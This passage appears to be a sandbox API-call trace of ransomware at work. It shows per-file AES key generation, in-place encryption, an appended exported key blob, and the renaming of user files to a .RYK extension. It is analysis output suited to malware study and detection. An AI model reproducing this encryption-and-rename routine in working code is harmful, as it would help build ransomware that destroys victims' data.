	[0259.259] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0259.259] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x996fcd8 | out: lpFileSize=0x996fcd8*=0) returned 1
	[0259.260] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x996fce8 | out: lpFileSize=0x996fce8*=0) returned 1
	[0259.260] CloseHandle (hObject=0x6e8) returned 1
	[0259.260] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3550
	os_tid = 0x3cd0

	[0259.004] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat", dwFileAttributes=0x80) returned 1
	[0259.263] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0259.264] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x8c0fb58 | out: lpFileSize=0x8c0fb58*=32768) returned 1
	[0259.264] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x8c0fb68 | out: lpFileSize=0x8c0fb68*=32768) returned 1
	[0259.264] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0259.264] ReadFile (in: hFile=0x6e8, lpBuffer=0x8c0fbb0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c0fb20, lpOverlapped=0x0 | out: lpBuffer=0x8c0fbb0*, lpNumberOfBytesRead=0x8c0fb20*=0x19, lpOverlapped=0x0) returned 1
	[0259.266] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0259.266] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8c0fb38 | out: phKey=0x8c0fb38*=0x3f8110) returned 1
	[0259.266] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0259.266] ReadFile (in: hFile=0x6e8, lpBuffer=0x3580000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x8c0fb44, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x8c0fb44*=0x8000, lpOverlapped=0x0) returned 1
	[0259.268] CryptEncrypt (in: hKey=0x3f8110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c0fb40*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c0fb40*=0xf4250) returned 1
	[0259.268] CryptEncrypt (in: hKey=0x3f8110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x8c0fb48*=0x8000, dwBufLen=0xf4250 | out: pbData=0x3580000*, pdwDataLen=0x8c0fb48*=0x8010) returned 1
	[0259.268] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0259.268] WriteFile (in: hFile=0x6e8, lpBuffer=0x3580000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x8c0fb44, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesWritten=0x8c0fb44*=0x8010, lpOverlapped=0x0) returned 1
	[0259.269] WriteFile (in: hFile=0x6e8, lpBuffer=0x8c0fb70*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c0fb50, lpOverlapped=0x0 | out: lpBuffer=0x8c0fb70*, lpNumberOfBytesWritten=0x8c0fb50*=0x6, lpOverlapped=0x0) returned 1
	[0259.269] CryptExportKey (in: hKey=0x3f8110, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c0fb60 | out: pbData=0x0*, pdwDataLen=0x8c0fb60*=0x10c) returned 1
	[0259.269] CryptExportKey (in: hKey=0x3f8110, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c0fbd0, pdwDataLen=0x8c0fb60 | out: pbData=0x8c0fbd0*, pdwDataLen=0x8c0fb60*=0x10c) returned 1
	[0259.269] WriteFile (in: hFile=0x6e8, lpBuffer=0x8c0fbd0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c0fb50, lpOverlapped=0x0 | out: lpBuffer=0x8c0fbd0*, lpNumberOfBytesWritten=0x8c0fb50*=0x10c, lpOverlapped=0x0) returned 1
	[0259.269] CloseHandle (hObject=0x6e8) returned 1
	[0259.277] CryptDestroyKey (hKey=0x3f8110) returned 1
	[0259.278] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3551
	os_tid = 0x3cd4

	[0259.005] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0259.290] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8
	[0259.290] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x9b2f9f8 | out: lpFileSize=0x9b2f9f8*=0) returned 1
	[0259.290] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x9b2fa08 | out: lpFileSize=0x9b2fa08*=0) returned 1
	[0259.290] CloseHandle (hObject=0x6e8) returned 1
	[0259.290] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3552
	os_tid = 0x3cd8

	[0259.299] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]", dwFileAttributes=0x80) returned 0
	[0259.300] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.300] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\ieonline.microsoft[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ieonline.microsoft[1].ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3553
	os_tid = 0x3cdc

	[0259.528] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT", dwFileAttributes=0x80) returned 1
	[0259.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc
	[0259.529] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x8ccfbb8 | out: lpFileSize=0x8ccfbb8*=246258) returned 1
	[0259.529] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x8ccfbc8 | out: lpFileSize=0x8ccfbc8*=246258) returned 1
	[0259.529] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x3c0d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0259.529] ReadFile (in: hFile=0x6bc, lpBuffer=0x8ccfc10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ccfb80, lpOverlapped=0x0 | out: lpBuffer=0x8ccfc10*, lpNumberOfBytesRead=0x8ccfb80*=0x19, lpOverlapped=0x0) returned 1
	[0259.535] CloseHandle (hObject=0x6bc) returned 1
	[0259.536] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwFlags=0x8) returned 1
	[0261.159] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMCACHE.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\frmcache.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3554
	os_tid = 0x3ce0

	[0259.537] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak", dwFileAttributes=0x80) returned 1
	[0261.356] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0261.356] GetFileSizeEx (in: hFile=0x710, lpFileSize=0x8f4f758 | out: lpFileSize=0x8f4f758*=12201) returned 1
	[0261.356] GetFileSizeEx (in: hFile=0x710, lpFileSize=0x8f4f768 | out: lpFileSize=0x8f4f768*=12201) returned 1
	[0261.356] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x2e87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.356] ReadFile (in: hFile=0x710, lpBuffer=0x8f4f7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f4f720, lpOverlapped=0x0 | out: lpBuffer=0x8f4f7b0*, lpNumberOfBytesRead=0x8f4f720*=0x19, lpOverlapped=0x0) returned 1
	[0261.359] SetFilePointer (in: hFile=0x710, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.359] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8f4f738 | out: phKey=0x8f4f738*=0x3f7e00) returned 1
	[0261.359] SetFilePointer (in: hFile=0x710, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.359] ReadFile (in: hFile=0x710, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x2fa9, lpNumberOfBytesRead=0x8f4f744, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x8f4f744*=0x2fa9, lpOverlapped=0x0) returned 1
	[0261.360] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f4f740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f4f740*=0xf4250) returned 1
	[0261.360] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x8f4f748*=0x2fa9, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x8f4f748*=0x2fb0) returned 1
	[0261.360] SetFilePointer (in: hFile=0x710, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.360] WriteFile (in: hFile=0x710, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x8f4f744, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x8f4f744*=0x2fb0, lpOverlapped=0x0) returned 1
	[0261.360] WriteFile (in: hFile=0x710, lpBuffer=0x8f4f770*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f4f750, lpOverlapped=0x0 | out: lpBuffer=0x8f4f770*, lpNumberOfBytesWritten=0x8f4f750*=0x6, lpOverlapped=0x0) returned 1
	[0261.361] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f4f760 | out: pbData=0x0*, pdwDataLen=0x8f4f760*=0x10c) returned 1
	[0261.361] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f4f7d0, pdwDataLen=0x8f4f760 | out: pbData=0x8f4f7d0*, pdwDataLen=0x8f4f760*=0x10c) returned 1
	[0261.361] WriteFile (in: hFile=0x710, lpBuffer=0x8f4f7d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f4f750, lpOverlapped=0x0 | out: lpBuffer=0x8f4f7d0*, lpNumberOfBytesWritten=0x8f4f750*=0x10c, lpOverlapped=0x0) returned 1
	[0261.361] CloseHandle (hObject=0x710) returned 1
	[0261.363] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0261.363] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.bak.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.bak.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3555
	os_tid = 0x3ce4

	[0260.880] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt", dwFileAttributes=0x80) returned 1
	[0261.601] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x780
	[0261.602] GetFileSizeEx (in: hFile=0x780, lpFileSize=0x917f698 | out: lpFileSize=0x917f698*=12208) returned 1
	[0261.602] GetFileSizeEx (in: hFile=0x780, lpFileSize=0x917f6a8 | out: lpFileSize=0x917f6a8*=12208) returned 1
	[0261.602] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x2e8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0261.602] ReadFile (in: hFile=0x780, lpBuffer=0x917f6f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x917f660, lpOverlapped=0x0 | out: lpBuffer=0x917f6f0*, lpNumberOfBytesRead=0x917f660*=0x19, lpOverlapped=0x0) returned 1
	[0261.604] SetFilePointer (in: hFile=0x780, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.604] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x917f678 | out: phKey=0x917f678*=0x3f7e00) returned 1
	[0261.604] SetFilePointer (in: hFile=0x780, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.605] ReadFile (in: hFile=0x780, lpBuffer=0x3080000, nNumberOfBytesToRead=0x2fb0, lpNumberOfBytesRead=0x917f684, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x917f684*=0x2fb0, lpOverlapped=0x0) returned 1
	[0261.605] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x917f680*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x917f680*=0xf4250) returned 1
	[0261.605] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x917f688*=0x2fb0, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x917f688*=0x2fc0) returned 1
	[0261.606] SetFilePointer (in: hFile=0x780, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0261.606] WriteFile (in: hFile=0x780, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x917f684, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x917f684*=0x2fc0, lpOverlapped=0x0) returned 1
	[0261.606] WriteFile (in: hFile=0x780, lpBuffer=0x917f6b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x917f690, lpOverlapped=0x0 | out: lpBuffer=0x917f6b0*, lpNumberOfBytesWritten=0x917f690*=0x6, lpOverlapped=0x0) returned 1
	[0261.606] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x917f6a0 | out: pbData=0x0*, pdwDataLen=0x917f6a0*=0x10c) returned 1
	[0261.606] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x917f710, pdwDataLen=0x917f6a0 | out: pbData=0x917f710*, pdwDataLen=0x917f6a0*=0x10c) returned 1
	[0261.606] WriteFile (in: hFile=0x780, lpBuffer=0x917f710*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x917f690, lpOverlapped=0x0 | out: lpBuffer=0x917f710*, lpNumberOfBytesWritten=0x917f690*=0x10c, lpOverlapped=0x0) returned 1
	[0261.607] CloseHandle (hObject=0x780) returned 1
	[0261.612] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0261.612] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3568
	os_tid = 0x3d18


Thread:
	id = 3593
	os_tid = 0x3d84

	[0261.923] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat", dwFileAttributes=0x80) returned 0
	[0261.923] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
